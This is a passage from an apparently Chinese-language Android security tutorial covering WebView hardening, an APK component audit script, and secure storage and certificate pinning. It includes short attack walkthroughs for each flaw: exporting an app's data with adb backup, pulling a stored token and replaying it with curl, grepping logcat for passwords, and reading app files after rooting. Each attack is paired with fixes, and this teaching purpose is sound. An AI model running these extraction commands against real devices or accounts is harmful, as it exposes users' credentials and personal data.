if (scheme != null && !scheme.equals("http") && !scheme.equals("https")) {
if (Set.of("tel", "sms", "mailto", "alipays", "weixin").contains(scheme)) {
try {
Intent intent = new Intent(Intent.ACTION_VIEW, uri);
startActivity(intent);
} catch (Exception e) {
Log.e("SEC", "无法处理 scheme: " + scheme);
}
} else {
Log.e("SEC", "拦截未知 scheme: " + scheme); // ★ 防 Intent Scheme 攻击
}
return true; // ★ 不让 WebView 处理
}
return false; // 让 WebView 正常加载
}
/**
* ★ SSL 错误处理:绝不能"忽略证书错误"继续加载!
*/
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
// ❌❌❌ 绝对禁止:handler.proceed(); ← 这等于接受中间人攻击
Log.e("SEC", "SSL 错误,已阻止加载: " + error.getPrimaryError());
handler.cancel(); // ★ 取消加载
showErrorPage("证书校验失败,页面已阻止");
}
@Override
public void onPageFinished(WebView view, String url) {
// ★ 页面加载完,检查当前 URL 是否还在白名单(防页面内跳转绕过)
if (!isAllowedUrl(Uri.parse(url))) {
Log.e("SEC", "页面跳转到非白名单地址,清空: " + url);
view.stopLoading();
view.loadUrl("about:blank");
}
}
});
// ===== ⑧ ★ WebChromeClient:控制 JS 弹窗(防钓鱼弹窗)=====
wv.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
// ★ 自定义弹窗,显示来源域名(防"假冒系统弹窗"骗密码)
new AlertDialog.Builder(SecureWebActivity.this)
.setTitle("来自 " + Uri.parse(url).getHost() + " 的提示")
.setMessage(message)
.setPositiveButton("确定", (d, w) -> result.confirm())
.show();
return true; // ★ 拦截默认弹窗
}
@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
// 同理,自己处理
return true;
}
@Override
public void onGeolocationPermissionsShowPrompt(String origin,
GeolocationPermissions.Callback callback) {
// ★ 定位权限要弹窗让用户确认,不能自动同意
new AlertDialog.Builder(SecureWebActivity.this)
.setTitle("位置权限请求")
.setMessage("网站 " + origin + " 请求获取您的位置")
.setPositiveButton("允许",
(d, w) -> callback.invoke(origin, true, false))
.setNegativeButton("拒绝",
(d, w) -> callback.invoke(origin, false, false))
.show();
}
});
// ===== ⑨ ★★ addJavascriptInterface:要么不加,要么极其谨慎 =====
// 方案 A(推荐):完全不加 JS Bridge,用其他方式通信
// ① 用 URL Scheme(shouldOverrideUrlLoading 拦截)
// ② 用 WebMessage API(Android 6+,更安全)
// ③ 用 prompt() + onJsPrompt 拦截
// 方案 B(如果必须加):严格限制
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
wv.addJavascriptInterface(new SafeJsBridge(), "nativeBridge");
// ★ 注意:SafeJsBridge 的每个公开方法都必须加 @JavascriptInterface
// 而且只能给【自己可控的页面】加,加载外部页面前要 removeJavascriptInterface
}
}
/**
* ✅ 安全的 JS Bridge:方法白名单 + 注解 + 参数校验
*/
public static class SafeJsBridge {
/** ✅ 加了注解(Android 4.2+ 只有加注解的方法才能被 JS 调用)*/
@JavascriptInterface
public String getAppVersion() {
return BuildConfig.VERSION_NAME; // ✅ 安全:只返回非敏感信息
}
@JavascriptInterface
public void closePage() {
// ✅ 安全:只做 UI 操作
}
// ❌ 绝不能暴露这类方法:
// @JavascriptInterface public String getToken() ← 泄露凭据
// @JavascriptInterface public void execSql(String s) ← SQL 注入
// @JavascriptInterface public Object getContext() ← 反射 RCE 的起点
// ★ 注意:即便只暴露了安全方法,攻击者仍可通过 getClass() 反射(Android 4.2 以下)
// 所以 minSdkVersion 必须 >= 17
}
/**
* ★ URL 白名单校验(严格比对 host,不是 contains)
*/
private boolean isAllowedUrl(Uri uri) {
if (uri == null) return false;
String scheme = uri.getScheme();
if (!"https".equals(scheme)) {
return false; // ★ 强制 HTTPS,不允许 http 和 file
}
String host = uri.getHost();
if (host == null) return false;
// ★ 精确比对,不是 contains(防 app.example.com.evil.com)
return ALLOWED_HOSTS.contains(host.toLowerCase());
}
@Override
protected void onDestroy() {
if (webView != null) {
// ★ 清理,防止内存泄漏和残留数据
webView.stopLoading();
webView.setWebViewClient(null);
webView.setWebChromeClient(null);
webView.removeJavascriptInterface("nativeBridge");
webView.clearHistory();
webView.clearCache(true);
webView.loadUrl("about:blank");
webView.destroy();
}
super.onDestroy();
}
}
4.2.7 Android 组件安全 Checklist
| # | 检查项 | 优先级 |
|---|---|---|
| 1 | 所有组件显式声明 android:exported(不要依赖默认行为) |
★★★ |
| 2 | 不需要对外暴露的组件全部 exported=false |
★★★ |
| 3 | 必须暴露的用 protectionLevel="signature" 的自定义权限保护 |
★★★ |
| 4 | 敏感 Activity 在 onCreate 里校验登录态(不能只靠入口) |
★★★ |
| 5 | ContentProvider 用 UriMatcher 限制 URI + 投影白名单 | ★★★ |
| 6 | BroadcastReceiver 用 LocalBroadcastManager 或加权限 | ★★ |
| 7 | Deeplink 用 AppLink(https + autoVerify),不用自定义 scheme | ★★★ |
| 8 | Deeplink 参数严格白名单,绝不直接传给 WebView | ★★★ |
| 9 | WebView:三个 file 相关配置全部 false | ★★★ |
| 10 | WebView:onReceivedSslError 里绝不调 handler.proceed() |
★★★ |
| 11 | WebView:minSdkVersion >= 17,JS Bridge 方法必须加 @JavascriptInterface |
★★★ |
| 12 | WebView:只加载白名单 https 域名,shouldOverrideUrlLoading 拦截一切 |
★★★ |
| 13 | 禁止导出组件在 adb shell am start 下可直接打开(自检方法) |
★★ |
★ 一键自检脚本:
#!/bin/bash
# android_component_audit.sh —— Android 组件暴露自检
# 用法:./android_component_audit.sh app-debug.apk
APK=$1
echo "========== Android 组件暴露自检:$APK =========="
# ① 反编译出 AndroidManifest.xml
apktool d -f "$APK" -o /tmp/apk_audit_$$ 2>/dev/null
MANIFEST="/tmp/apk_audit_$$/AndroidManifest.xml"
if [ ! -f "$MANIFEST" ]; then
echo "[!] 反编译失败,请确认已安装 apktool"
exit 1
fi
echo ""
echo "【1】导出的 Activity(exported=true 或有 intent-filter)"
grep -oE '<activity[^>]*android:name="[^"]*"[^>]*>' "$MANIFEST" | \
grep -E 'exported="true"' | sed 's/.*android:name="/ [!] /;s/".*//'
grep -B1 -A5 '<intent-filter' "$MANIFEST" | grep -oE 'android:name="\.[^"]*"' | \
sort -u | sed 's/android:name="/ [?] 有 intent-filter(可能默认导出): /;s/"//'
echo ""
echo "【2】导出的 Service"
grep -oE '<service[^>]*android:name="[^"]*"[^>]*(exported="true")?[^>]*>' "$MANIFEST" | \
grep -E 'exported="true"' | sed 's/.*android:name="/ [!] /;s/".*//'
echo ""
echo "【3】导出的 Receiver"
grep -oE '<receiver[^>]*android:name="[^"]*"[^>]*(exported="true")?[^>]*>' "$MANIFEST" | \
grep -E 'exported="true"' | sed 's/.*android:name="/ [!] /;s/".*//'
echo ""
echo "【4】导出的 Provider(★ 最危险)"
grep -oE '<provider[^>]*android:name="[^"]*"[^>]*(exported="true")?[^>]*>' "$MANIFEST" | \
grep -E 'exported="true"' | sed 's/.*android:name="/ [!] /;s/".*//'
echo ""
echo "【5】危险配置检查"
grep -q 'android:allowBackup="true"' "$MANIFEST" && \
echo " [!] allowBackup=true(可用 adb backup 导出数据)→ 应设为 false"
grep -q 'android:debuggable="true"' "$MANIFEST" && \
echo " [!] debuggable=true(可被调试/注入)→ 生产必须为 false"
grep -q 'android:usesCleartextTraffic="true"' "$MANIFEST" && \
echo " [!] usesCleartextTraffic=true(允许明文 HTTP)→ 应设为 false"
grep -q 'android:networkSecurityConfig' "$MANIFEST" || \
echo " [?] 未配置 networkSecurityConfig(无法做证书绑定)"
echo ""
echo "【6】Deeplink Scheme(检查是否有自定义 scheme,可能被劫持)"
grep -oE 'android:scheme="[^"]*"' "$MANIFEST" | sort -u | \
sed 's/android:scheme="/ → /;s/"//'
echo ""
echo "========== 检查完成 =========="
echo "★ 进一步人工复核:"
echo " 1. 用 adb shell am start -n <包名>/<组件名> 尝试直接打开导出组件"
echo " 2. 用 adb shell content query --uri content://<authority> 尝试读 Provider"
rm -rf /tmp/apk_audit_$$
4.3 Android 数据存储与传输安全
4.3.1 五种本地存储方式的安全等级
| 存储方式 | 位置 | Root 后可读? | 加密? | 适合存什么 |
|---|---|---|---|---|
| SharedPreferences | /data/data/<pkg>/shared_prefs/*.xml |
✅ 可读 | ❌ 明文 XML | 非敏感配置(主题、语言) |
| SQLite | /data/data/<pkg>/databases/*.db |
✅ 可读 | ❌ 明文 | 结构化业务数据(敏感字段要加密) |
| 内部文件 | /data/data/<pkg>/files/ |
✅ 可读 | ❌ | 缓存文件 |
| 外部存储(SD 卡) | /sdcard/ |
✅ 任何 App 都能读(有权限的话) | ❌ | 什么都别存敏感的 |
| Android Keystore | 硬件/TEE 里 | ❌ 密钥取不出来 | ✅ | ★ 密钥、凭证 |
| EncryptedSharedPreferences | 同 SP,但内容加密 | 读到的是密文 | ✅ AES-256-GCM | 敏感配置、Token |
★ 核心认知(面试必答): “Android 的
/data/data/<包名>/目录在未 Root 的设备上是隔离的(Linux 文件权限 + SELinux), 所以很多开发者以为’存在内部存储就是安全的’。但这个假设在三种情况下不成立: ① 设备被 Root(用户主动 Root、或者系统有提权漏洞)→ 全部可读 ②
allowBackup=true→ 用adb backup就能导出全部数据(不需要 Root!) ③ 物理接触 + 解锁的 bootloader → 刷 recovery 直接读分区所以正确的做法是: 非敏感数据(配置、缓存)→ SharedPreferences 明文没问题 敏感数据(Token、手机号、身份证)→ 用 EncryptedSharedPreferences 密钥、证书 → 用 Android Keystore(硬件级保护,密钥取不出来) 绝不能存(密码明文、身份证明文)“
4.3.2 漏洞 1:allowBackup 导致数据可被导出(★ 高危且常见)
<!-- ❌❌❌ 危险:allowBackup=true(而且是【默认值】!) -->
<application
android:allowBackup="true" <!-- ★ 不写这个属性,默认就是 true -->
android:fullBackupContent="true">
</application>
攻击(不需要 Root,只需要能插 USB):
# ===== ① 用 adb backup 导出 App 全部数据 =====
adb backup -f backup.ab -noapk com.example.bank
# 手机屏幕会弹出"是否允许备份",点【允许】(很多用户会点)
# 或者用 adb backup -f backup.ab -noapk -shared com.example.bank
# ===== ② 解包 backup.ab(Android backup 格式)=====
# 用 android-backup-extractor
java -jar abe.jar unpack backup.ab backup.tar
# ===== ③ 解压看数据 =====
tar -xvf backup.tar
ls -la apps/com.example.bank/
# shared_prefs/config.xml ← ★ Token、手机号、密码明文
# databases/user.db ← ★ 整个数据库
# files/cache.dat
# ...
cat apps/com.example.bank/shared_prefs/config.xml
# <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
# <map>
# <string name="auth_token">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...</string> ← ★ Token
# <string name="phone">13800138000</string> ← ★ 手机号
# <string name="password">MyPass123</string> ← ★★ 明文密码!
# </map>
# ===== ④ 直接拿 Token 用 curl 调接口 =====
TOKEN=$(grep -oP '(?<=name="auth_token">)[^<]+' apps/com.example.bank/shared_prefs/config.xml)
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/v1/user/profile
# ★ 完全不需要绕过登录,直接以受害者身份调用接口
✅ 修复:
<!-- ✅ 修复:关闭备份 -->
<application
android:allowBackup="false" <!-- ★ 关键 -->
android:fullBackupContent="false"
android:dataExtractionRules="@xml/data_extraction_rules"> <!-- Android 12+ -->
</application>
<!-- res/xml/data_extraction_rules.xml(Android 12+)-->
<?xml version="1.0" encoding="utf-8"?>
<data-extraction-rules>
<cloud-backup>
<!-- ★ 云端备份:排除所有敏感数据 -->
<exclude domain="sharedpref" path="auth.xml" />
<exclude domain="database" path="user.db" />
<exclude domain="file" path="secrets/" />
</cloud-backup>
<device-transfer>
<!-- ★ 设备迁移(换机):也排除敏感数据 -->
<exclude domain="sharedpref" path="auth.xml" />
<exclude domain="database" path="user.db" />
</device-transfer>
</data-extraction-rules>
<!-- res/xml/backup_rules.xml(Android 11 及以下)-->
<?xml version="1.0" encoding="utf-8"?>
<full-backup-content>
<exclude domain="sharedpref" path="auth.xml" />
<exclude domain="database" path="user.db" />
</full-backup-content>
4.3.3 漏洞 2:敏感数据明文存储
漏洞代码:
/**
* ❌❌❌ 典型漏洞:什么都往 SharedPreferences 里明文塞
*/
public class InsecureStorage {
public void saveLoginInfo(Context ctx, LoginResponse resp) {
SharedPreferences sp = ctx.getSharedPreferences("config", MODE_PRIVATE);
sp.edit()
.putString("username", resp.getUsername())
.putString("password", resp.getPassword()) // ❌❌❌ 明文密码!
.putString("token", resp.getToken()) // ❌ Token 明文
.putString("phone", resp.getPhone()) // ❌ PII 明文
.putString("idcard", resp.getIdCard()) // ❌❌ 身份证明文!
.putString("api_key", "sk_live_abc123xyz") // ❌❌❌ API Key 硬编码+明文
.apply();
}
/**
* ❌ SQLite 里也是明文
*/
public void saveUser(User user) {
SQLiteDatabase db = dbHelper.getWritableDatabase();
ContentValues cv = new ContentValues();
cv.put("name", user.getName());
cv.put("idcard", user.getIdCard()); // ❌ 明文身份证
cv.put("bankcard", user.getBankCard()); // ❌ 明文银行卡
db.insert("users", null, cv);
}
/**
* ❌ 日志里打印敏感信息(★ 这个最常见也最容易被忽略)
*/
public void login(String user, String pwd) {
Log.d("Login", "user=" + user + " password=" + pwd); // ❌❌❌
Log.d("Login", "token=" + response.getToken()); // ❌
Log.d("API", "request: " + requestBody.toString()); // ❌ 可能含密码
}
}
攻击(看日志就够了):
# ===== ① logcat 抓敏感信息(Root 之前也能看自己 App 的日志,Android 4.1+ 需要 Root 看别人的)=====
adb logcat | grep -iE "password|token|idcard|bankcard"
# D/Login: user=admin password=MyPass123
# D/Login: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# ===== ② Root 后直接读文件 =====
adb shell
su
cat /data/data/com.example.bank/shared_prefs/config.xml
sqlite3 /data/data/com.example.bank/databases/user.db "SELECT * FROM users;"
# ===== ③ 即使不 Root,用 run-as(仅 debuggable 包)=====
adb shell run-as com.example.bank cat shared_prefs/config.xml
# ★ 这就是为什么 debuggable=true 在生产环境是致命的
✅ 修复 1:EncryptedSharedPreferences(★ 推荐,Jetpack Security)
// build.gradle
dependencies {
implementation "androidx.security:security-crypto:1.1.0-alpha06"
}
/**
* ✅✅✅ 用 EncryptedSharedPreferences 存敏感数据
*
* 原理:
* ① 内容用 AES-256-GCM 加密
* ② 密钥用 AES-256-GCM 加密后存在 SP 里
* ③ 密钥的密钥(master key)存在 Android Keystore 里(硬件保护)
* → 即便 Root 读到 SP 文件,也只是一堆密文
*/
public class SecureStorageManager {
private static final String FILE_NAME = "secure_prefs";
private static SharedPreferences encryptedPrefs;
public static synchronized SharedPreferences get(Context ctx) {
if (encryptedPrefs != null) return encryptedPrefs;
try {
// ① 创建/获取 MasterKey(存在 Android Keystore 里)
MasterKey masterKey = new MasterKey.Builder(ctx)
.setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
// ★ 可以要求用户认证才能用这个 key(Android 11+)
// .setUserAuthenticationRequired(true, 30) // 30 秒内认证过就行
.build();
// ② 创建加密的 SharedPreferences
encryptedPrefs = EncryptedSharedPreferences.create(
ctx,
FILE_NAME,
masterKey,
// ★ 值的加密方案
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM);
return encryptedPrefs;
} catch (Exception e) {
Log.e("SEC", "创建加密 SP 失败", e);
throw new RuntimeException(e);
}
}
/**
* ✅ 保存登录凭据(★ 注意:不存密码!)
*/
public static void saveCredentials(Context ctx, String token,
String refreshToken, long expireAt) {
get(ctx).edit()
.putString("auth_token", token)
.putString("refresh_token", refreshToken)
.putLong("token_expire_at", expireAt)
// ★★ 绝不存密码明文,连加密都不存
// 登录密码用完即弃,只在内存里存在登录的那几秒
.apply();
}
/**
* ✅ 读取 Token
*/
public static String getToken(Context ctx) {
return get(ctx).getString("auth_token", null);
}
/**
* ✅ Token 是否过期
*/
public static boolean isTokenExpired(Context ctx) {
long expireAt = get(ctx).getLong("token_expire_at", 0);
return System.currentTimeMillis() > expireAt;
}
/**
* ✅ 退出登录:清除所有凭据
*/
public static void clearCredentials(Context ctx) {
get(ctx).edit()
.remove("auth_token")
.remove("refresh_token")
.remove("token_expire_at")
.apply();
}
}
✅ 修复 2:用 Android Keystore 存密钥(★ 密钥取不出来)
/**
* ✅✅✅ Android Keystore:密钥在硬件/TEE 里,【取不出来】
*
* ★ 核心区别:
* 普通方式:密钥存在文件里 → Root 后能读出来 → 拿到密钥就能解密数据
* Keystore:密钥在硬件/TEE 里 → 【只能用它加解密,不能读取密钥本身】
* → Root 也拿不到密钥,只能"请求 Keystore 帮我解密"
*
* ★ 生活类比:
* 普通方式 = 你家钥匙藏在门口地垫下(找到了就能开门)
* Keystore = 银行的保险箱,你把东西放进去,银行给你个凭证,
* 想取出来必须本人持证来(取不出"保险箱本身")
*/
public class KeystoreManager {
private static final String KEY_ALIAS = "com.example.bank.data_key";
private static final String ANDROID_KEYSTORE = "AndroidKeyStore";
private static final String TRANSFORMATION = "AES/GCM/NoPadding";
/**
* 生成密钥(存在 Keystore 里)
*/
public static void generateKey() throws Exception {
KeyGenerator keyGenerator = KeyGenerator.getInstance(
KeyProperties.KEY_ALGORITHM_AES, ANDROID_KEYSTORE);
keyGenerator.init(new KeyGenParameterSpec.Builder(
KEY_ALIAS,
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
.setKeySize(256)
// ★ 可以要求用户认证(指纹/密码)才能用这个密钥
.setUserAuthenticationRequired(true)
.setUserAuthenticationValidityDurationSeconds(30)
// ★ 防止密钥被导出(★ 关键!)
.setUserAuthenticationParameters(0,
KeyProperties.AUTH_BIOMETRIC_STRONG
| KeyProperties.AUTH_DEVICE_CREDENTIAL)
// ★ 绑定设备(Android 10+,设备换了密钥失效)
.setIsStrongBoxBacked(true) // 如果有 StrongBox(独立安全芯片)就用它
.build());
keyGenerator.generateKey();
Log.i("SEC", "Keystore 密钥已生成");
}
/**
* ✅ 加密数据
*/
public static byte[] encrypt(byte[] plaintext) throws Exception {
KeyStore keyStore = KeyStore.getInstance(ANDROID_KEYSTORE);
keyStore.load(null);
SecretKey key = (SecretKey) keyStore.getKey(KEY_ALIAS, null);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] iv = cipher.getIV(); // GCM 的 IV(12 字节)
byte[] ciphertext = cipher.doFinal(plaintext);
// ★ 把 IV 和密文拼在一起存(IV 不需要保密,但每次加密必须不同)
ByteBuffer bb = ByteBuffer.allocate(4 + iv.length + ciphertext.length);
bb.putInt(iv.length);
bb.put(iv);
bb.put(ciphertext);
return bb.array();
}
/**
* ✅ 解密数据
*/
public static byte[] decrypt(byte[] combined) throws Exception {
ByteBuffer bb = ByteBuffer.wrap(combined);
int ivLength = bb.getInt();
byte[] iv = new byte[ivLength];
bb.get(iv);
byte[] ciphertext = new byte[bb.remaining()];
bb.get(ciphertext);
KeyStore keyStore = KeyStore.getInstance(ANDROID_KEYSTORE);
keyStore.load(null);
SecretKey key = (SecretKey) keyStore.getKey(KEY_ALIAS, null);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, key, new GCMParameterSpec(128, iv));
return cipher.doFinal(ciphertext);
}
/**
* ✅ 用 Keystore 里的密钥加密后存 SQLite
*/
public static void saveSensitiveToDb(SQLiteDatabase db, String table,
String idCard, String bankCard) {
try {
byte[] encryptedIdCard = encrypt(idCard.getBytes(StandardCharsets.UTF_8));
byte[] encryptedBank = encrypt(bankCard.getBytes(StandardCharsets.UTF_8));
ContentValues cv = new ContentValues();
cv.put("idcard_encrypted", encryptedIdCard); // ★ 存密文
cv.put("bankcard_encrypted", encryptedBank);
cv.put("idcard_mask", maskIdCard(idCard)); // ★ 同时存脱敏值用于显示
db.insert(table, null, cv);
} catch (Exception e) {
Log.e("SEC", "加密存储失败", e);
throw new SecurityException("加密存储失败", e);
}
}
private static String maskIdCard(String id) {
if (id == null || id.length() < 8) return "***";
return id.substring(0, 4) + "********" + id.substring(id.length() - 4);
}
}
✅ 修复 3:SQLCipher 加密整个数据库
// build.gradle
dependencies {
implementation "net.zetetic:sqlcipher:4.5.5"
implementation "androidx.sqlite:sqlite:2.3.1"
}
/**
* ✅ 用 SQLCipher 加密整个 SQLite 数据库
* ★ 适合:整个数据库都敏感的场景(比如本地缓存的聊天记录、病历)
*/
public class SecureDatabaseHelper extends SQLiteOpenHelper {
private static final String DB_NAME = "secure.db";
private static final int DB_VERSION = 1;
private static final char[] PASSPHRASE = loadPassphrase(); // ★ 从 Keystore 取,不硬编码
public SecureDatabaseHelper(Context context) {
super(context, DB_NAME, null, DB_VERSION);
// ★ 加载 SQLCipher 的 so 库
System.loadLibrary("sqlcipher");
}
@Override
public void onCreate(SQLiteDatabase db) {
db.execSQL("CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, " +
"idcard TEXT, phone TEXT)");
}
@Override
public void onUpgrade(SQLiteDatabase db, int oldV, int newV) {
db.execSQL("DROP TABLE IF EXISTS users");
onCreate(db);
}
/**
* ★ 用 SQLCipher 打开数据库(传 passphrase)
*/
public static SQLiteDatabase open(Context ctx) {
return SQLiteDatabase.openOrCreateDatabase(
ctx.getDatabasePath(DB_NAME),
PASSPHRASE, // ★ 有 passphrase = 加密;没有 = 明文
null,
null);
}
/**
* ★⭐ 关键:passphrase 【绝不能硬编码】,要从 Keystore 取
*/
private static char[] loadPassphrase() {
// ① 第一次运行时随机生成,用 Keystore 加密后存 SP
// ② 之后每次从 SP 读密文,用 Keystore 解密得到 passphrase
try {
byte[] encrypted = SecureStorageManager.loadDbPassphrase();
if (encrypted == null) {
// 首次:生成随机串
byte[] random = new byte[32];
new SecureRandom().nextBytes(random);
// 用 Keystore 加密后存
byte[] enc = KeystoreManager.encrypt(random);
SecureStorageManager.saveDbPassphrase(enc);
return Base64.encodeToString(random, Base64.DEFAULT).toCharArray();
}
byte[] raw = KeystoreManager.decrypt(encrypted);
return Base64.encodeToString(raw, Base64.DEFAULT).toCharArray();
} catch (Exception e) {
throw new RuntimeException("加载数据库密钥失败", e);
}
}
}
✅ 修复 4:日志管控(★ 生产环境必须关)
/**
* ✅ 安全的日志工具类:生产环境自动脱敏 + 关闭 DEBUG 日志
*/
public final class SecureLog {
private static final boolean DEBUG = BuildConfig.DEBUG; // ★ 编译期常量,Release 为 false
/** ★ 需要脱敏的关键词 */
private static final Pattern[] SENSITIVE_PATTERNS = {
Pattern.compile("(?i)(password|passwd|pwd)[\"'\\s:=]+([^&\\s\"',}]+)"),
Pattern.compile("(?i)(token|access_token|refresh_token)[\"'\\s:=]+([^&\\s\"',}]+)"),
Pattern.compile("(?i)(idcard|id_card)[\"'\\s:=]+([0-9Xx]{15,18})"),
Pattern.compile("(?i)(phone|mobile)[\"'\\s:=]+(1[3-9]\\d{9})"),
Pattern.compile("(?i)(bankcard|bank_card)[\"'\\s:=]+(\\d{16,19})"),
Pattern.compile("\\b([A-Za-z0-9_-]{20,}\\.[A-Za-z0-9_-]{20,}\\.[A-Za-z0-9_-]+)"), // JWT
Pattern.compile("\\b(sk_live_[A-Za-z0-9]+|AKIA[0-9A-Z]{16})"), // API Key
};
public static void d(String tag, String msg) {
if (DEBUG) {
Log.d(tag, sanitize(msg));
}
// ★ Release 版本什么都不做(而且因为 DEBUG 是编译期常量,
// R8/ProGuard 会把这些代码【整个删掉】,不留痕迹)
}
public static void i(String tag, String msg) {
if (DEBUG) Log.i(tag, sanitize(msg));
}
public static void w(String tag, String msg) {
Log.w(tag, sanitize(msg)); // WARN 生产保留,但要脱敏
}
public static void e(String tag, String msg, Throwable t) {
// ★ 错误日志生产保留,但:
// ① 脱敏
// ② 不打印完整堆栈(可能泄露内部结构)
Log.e(tag, sanitize(msg));
if (DEBUG && t != null) {
Log.e(tag, Log.getStackTraceString(t));
} else if (t != null) {
Log.e(tag, "异常类型: " + t.getClass().getSimpleName());
}
}
/**
* ★ 敏感信息脱敏
*/
private static String sanitize(String msg) {
if (msg == null) return "";
String result = msg;
for (Pattern p : SENSITIVE_PATTERNS) {
Matcher m = p.matcher(result);
StringBuffer sb = new StringBuffer();
while (m.find()) {
// 保留 key,把 value 替换成 ***
String key = m.group(1);
m.appendReplacement(sb, key + "=***");
}
m.appendTail(sb);
result = sb.toString();
}
return result;
}
}
// ✅ build.gradle:Release 版本用 R8 移除所有日志调用(★ 双保险)
android {
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
'proguard-rules.pro'
// ★ 配合这个 ProGuard 规则,所有 Log.d/v 调用会被【整个移除】
}
}
}
# proguard-rules.pro
# ★ 移除所有 Log 调用(Release 版本)
-assumenosideeffects class android.util.Log {
public static boolean isLoggable(java.lang.String, int);
public static int v(...);
public static int d(...);
public static int i(...);
public static int w(...);
# ★ 注意:保留 e(),因为要上报错误
}
# ★ 移除调试相关的类
-assumenosideeffects class android.util.Debug {
public static *** *(...);
}
4.3.4 漏洞 3:传输安全 —— 中间人抓包与证书绑定
先理解攻击:
# ===== 攻击者(或者就是好奇的开发者)抓 App 的包 =====
# ① 手机上安装 Charles / Burp / mitmproxy 的根证书
# (Android 7+ 需要装到系统证书区,或者 App 显式信任用户证书)
# ② 手机 Wi-Fi 代理指向电脑
# ③ 打开 App,所有 HTTPS 流量都能明文看到
# ★ 关键问题:Android 7.0(API 24)之前,App 【默认信任用户安装的证书】
# 所以只要骗用户装个证书(比如"为了上网需要安装证书"),流量就被监听了
漏洞配置:
<!-- ❌ 危险:没有网络安全配置,Android 7 以下默认信任用户证书 -->
<manifest>
<application>
<!-- 什么都没配 -->
</application>
</manifest>
<!-- ❌ 更危险:显式信任用户证书 -->
<!-- res/xml/network_security_config.xml -->
<network-security-config>
<base-config cleartextTrafficPermitted="true"> <!-- ❌ 还允许明文 HTTP -->
<trust-anchors>
<certificates src="system" />
<certificates src="user" /> <!-- ❌❌ 信任用户安装的证书 -->
</trust-anchors>
</base-config>
</network-security-config>
✅ 修复 1:网络安全配置(★ 必做)
<!-- AndroidManifest.xml -->
<manifest>
<application
android:networkSecurityConfig="@xml/network_security_config"
android:usesCleartextTraffic="false"> <!-- ★ 禁止明文 HTTP -->
</application>
</manifest>
<!-- res/xml/network_security_config.xml —— ★ 生产环境推荐配置 -->
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<!-- ① 全局配置:只信任系统证书,禁止明文 -->
<base-config cleartextTrafficPermitted="false">
<trust-anchors>
<certificates src="system" /> <!-- ★ 只信任系统预装证书,不信任用户装的 -->
</trust-anchors>
</base-config>
<!-- ② ★ 证书绑定(Certificate Pinning)—— 核心防护 -->
<domain-config cleartextTrafficPermitted="false">
<domain includeSubdomains="true">api.example.com</domain>
<!-- ★ 绑定证书的【公钥哈希】(SPKI),不是证书本身 -->
<!-- 好处:证书续期(换证书但密钥不变)时不用改 App -->
<pin-set expiration="2027-01-01">
<!-- ★ 主证书 -->
<pin digest="SHA-256">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</pin>
<!-- ★★ 备份证书(★ 必须配!否则证书一换,老版本 App 全变砖)-->
<pin digest="SHA-256">BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=</pin>
</pin-set>
<trust-anchors>
<certificates src="system" />
</trust-anchors>
</domain-config>
<!-- ③ ★ 调试配置(只在 debug 生效,方便抓包调试)-->
<debug-overrides>
<trust-anchors>
<certificates src="system" />
<certificates src="user" /> <!-- ★ 只在 debuggable 时信任用户证书 -->
</trust-anchors>
</debug-overrides>
</network-security-config>
怎么算 pin 的哈希值:
# 从证书文件算 SPKI 哈希
openssl x509 -in api.example.com.pem -pubkey -noout | \
openssl pkey -pubin -outform der | \
openssl dgst -sha256 -binary | \
openssl enc -base64
# 直接从线上域名拿(推荐,拿到的是当前真实证书)
openssl s_client -servername api.example.com -connect api.example.com:443 \
</dev/null 2>/dev/null | \
openssl x509 -pubkey -noout | \
openssl pkey -pubin -outform der | \
openssl dgst -sha256 -binary | \
openssl enc -base64
✅ 修复 2:OkHttp 代码层证书绑定(★ 更灵活,支持动态更新)
/**
* ✅✅✅ OkHttp 证书绑定(CertificatePinner)
*
* ★ 和 XML 配置的区别:
* XML:简单,但改 pin 要发版
* 代码:可以动态更新 pin 列表(从服务端下发),更灵活
* ★ 推荐两个都做(纵深防御)
*/
@Singleton
public class SecureHttpClient {
private final OkHttpClient client;
public SecureHttpClient() {
// ===== ① 证书绑定 =====
CertificatePinner pinner = new CertificatePinner.Builder()
// ★ 格式:域名 + "sha256/" + base64(SPKI哈希)
.add("api.example.com",
"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=") // 主证书
.add("api.example.com",
"sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=") // ★ 备份证书(必须有!)
.add("pay.example.com",
"sha256/CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC=")
.build();
// ===== ② TLS 版本与密码套件限制 =====
ConnectionSpec spec = new ConnectionSpec.Builder(ConnectionSpec.MODERN_TLS)
.tlsVersions(TlsVersion.TLS_1_3, TlsVersion.TLS_1_2) // ★ 禁用 1.0/1.1
.cipherSuites(
CipherSuite.TLS_AES_128_GCM_SHA256,
CipherSuite.TLS_AES_256_GCM_SHA384,
CipherSuite.TLS_CHACHA20_POLY1305_SHA256,
CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
